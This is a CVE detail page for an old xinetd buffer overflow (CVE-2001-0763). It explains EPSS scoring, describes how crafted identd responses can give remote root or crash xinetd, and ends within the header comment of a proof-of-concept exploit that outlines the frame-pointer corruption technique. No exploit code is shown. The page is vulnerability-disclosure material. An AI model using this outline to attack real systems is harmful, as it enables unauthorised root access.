CVE-2001-0763 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/2840/info The possibility for a buffer overflow condition exists in the xinetd daemon. Xinetd provides the ability to log via identd the user-identities of clients connecting to specific services if the clients host supports it. It may be possible for attackers to construct identd responses which exploit this subtle overflow condition. If successfully exploited, an attacker would gain root privileges on the affected host. It may also be possible for attackers to crash xinetd, which would result in a denial of service for all services started by inetd (telnet, ftp, etc). /* * xinetd-2.1.8.9pre11-1 Linux x86 remote root exploit * by qitest1 28/06/2001 * * This is a proof of concept code for the exploitation of the bof * present in xinetd-2.1.8.9pre11-1. Read the advisories first. The * code uses a single-byte corruption of the fp, as explained by klog. * sc_addr_pos is the position, from the beginning of the writable * area, where a pointer to the nop will be placed. * * For ethical reasons just one hardcoded target type will be provided. * Its values work only against one of the bugged 'pre' releases of * xinetd, installed on my Red Hat 6.2 box.
